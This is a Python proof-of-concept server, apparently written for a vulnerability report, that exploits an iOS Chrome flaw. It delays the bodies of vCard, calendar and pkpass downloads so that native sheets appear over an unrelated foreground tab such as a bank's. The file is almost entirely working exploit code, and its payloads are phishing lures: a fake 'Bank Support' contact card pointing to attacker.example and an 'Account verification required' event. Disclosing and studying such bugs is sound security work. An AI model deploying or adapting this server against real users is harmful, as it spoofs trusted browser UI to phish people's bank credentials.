#!/usr/bin/env python3
"""
Throttled HTTP server for the iOS Chrome background-tab special-MIME
download spoof.

Serves:
  /poc.html        attacker landing page (open in Tab B)
  /slow.vcf        text/vcard, body delayed DELAY_SECONDS
  /slow.ics        text/calendar, body delayed DELAY_SECONDS
  /slow.pkpass     application/vnd.apple.pkpass, body delayed DELAY_SECONDS
                   (replace PKPASS_PATH with a real signed .pkpass to test
                   PassKitCoordinator; an unsigned blob is rejected before
                   the sheet is shown)

The delay gives the victim time to switch to an unrelated foreground tab
(Tab A, e.g. their bank) before the download body arrives. On completion
the per-Browser coordinator presents native UI over Tab A without checking
that the originating WebState is still active.
"""

import http.server
import os
import socketserver
import time

PORT = 8080
DELAY_SECONDS = float(os.environ.get("POC_DELAY", "8"))
PKPASS_PATH = os.environ.get("POC_PKPASS", "")  # path to a real signed .pkpass

VCARD_BODY = (
    "BEGIN:VCARD\r\n"
    "VERSION:3.0\r\n"
    "N:Support;Bank;;;\r\n"
    "FN:Bank Support\r\n"
    "ORG:Your Bank Security Team\r\n"
    "TEL;TYPE=CELL:+1-800-000-0000\r\n"
    "EMAIL:support@attacker.example\r\n"
    "URL:https://attacker.example/login\r\n"
    "NOTE:Tap the number above to verify your account.\r\n"
    "END:VCARD\r\n"
).encode("utf-8")

ICS_BODY = (
    "BEGIN:VCALENDAR\r\n"
    "VERSION:2.0\r\n"
    "PRODID:-//poc//EN\r\n"
    "BEGIN:VEVENT\r\n"
    "UID:poc@attacker.example\r\n"
    "DTSTAMP:20250101T000000Z\r\n"
    "DTSTART:20250101T100000Z\r\n"
    "DTEND:20250101T110000Z\r\n"
    "SUMMARY:Account verification required\r\n"
    "END:VEVENT\r\n"
    "END:VCALENDAR\r\n"
).encode("utf-8")


class Handler(http.server.SimpleHTTPRequestHandler):
    def _send_slow(self, mime, body, filename):
        # Send headers immediately so BrowserDownloadService::OnDownloadCreated
        # routes the task to the special-MIME tab helper while Tab B is still
        # foreground, then stall the body.
        self.send_response(200)
        self.send_header("Content-Type", mime)
        self.send_header("Content-Length", str(len(body)))
        self.send_header(
            "Content-Disposition", f'attachment; filename="{filename}"'
        )
        self.end_headers()
        self.wfile.flush()
        time.sleep(DELAY_SECONDS)
        self.wfile.write(body)

    def do_GET(self):  # noqa: N802
        if self.path.startswith("/slow.vcf"):
            self._send_slow("text/vcard", VCARD_BODY, "support.vcf")
            return
        if self.path.startswith("/slow.ics"):
            self._send_slow("text/calendar", ICS_BODY, "event.ics")
            return
        if self.path.startswith("/slow.pkpass"):
            blob = b""
            if PKPASS_PATH and os.path.exists(PKPASS_PATH):
                with open(PKPASS_PATH, "rb") as f:
                    blob = f.read()
            self._send_slow(
                "application/vnd.apple.pkpass", blob, "card.pkpass"
            )
            return
        return super().do_GET()


class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


if __name__ == "__main__":
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    with ThreadingServer(("0.0.0.0", PORT), Handler) as httpd:
        print(f"serving on 0.0.0.0:{PORT}, body delay {DELAY_SECONDS}s")
        httpd.serve_forever()
